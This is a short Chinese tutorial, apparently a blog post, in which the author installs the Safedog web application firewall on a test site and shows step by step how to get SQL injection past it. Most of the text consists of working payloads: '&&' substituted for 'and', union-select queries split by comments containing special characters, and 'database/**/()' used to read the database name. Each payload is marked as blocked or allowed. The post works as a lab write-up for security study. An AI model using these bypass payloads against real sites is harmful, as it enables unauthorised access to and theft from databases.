先给网站装上安全狗(Apache 4.0.30255)
首先测试是否是注入点
这里应该是and被过滤了
尝试用大小写与双写都不行,想想也是,安全狗也没那么笨
然后尝试用&&代替and
于是乎就成功判断出注入点咯,接下来order by判断列数
1' order by 3#
判断为2列,union联合注入查询咯
1' union select 1,2#
被拦截了奥,现在需要找到是什么函数被拦截了
1' union # 不拦截
1' select 1,2# 不拦截
1' union z select 1,2# 不拦截
1' union select 1,2# 拦截
可以发现只有当union与select连在一起出现时才会拦截,所以可以考虑通过注释符来干扰安全狗的识别
1' union/**/select 1,2# 拦截
尝试一下内联注入
1'/*!union*/select 1,2# 拦截
1'/*!union/*!/**//*!select*/1,2# 拦截
尝试一下在注释符中插入特殊符号
1' union /*%!"*/select 1,2# 不拦截
可以愉快地注入了,在本次注入中有遇到相连函数拦截的就可以用/%!"/ 来绕过。
查看一下用的什么数据库,
1' union /*%!"*/select /*%!"*/1,database()# 拦截
应该是database()被拦截了,试试注释符拆分他
1' union /*%!"*/select /*%!"*/1,database/**/()# 不拦截
成功注入得到数据库名了,咱先告一段落,剩下的下期再讲。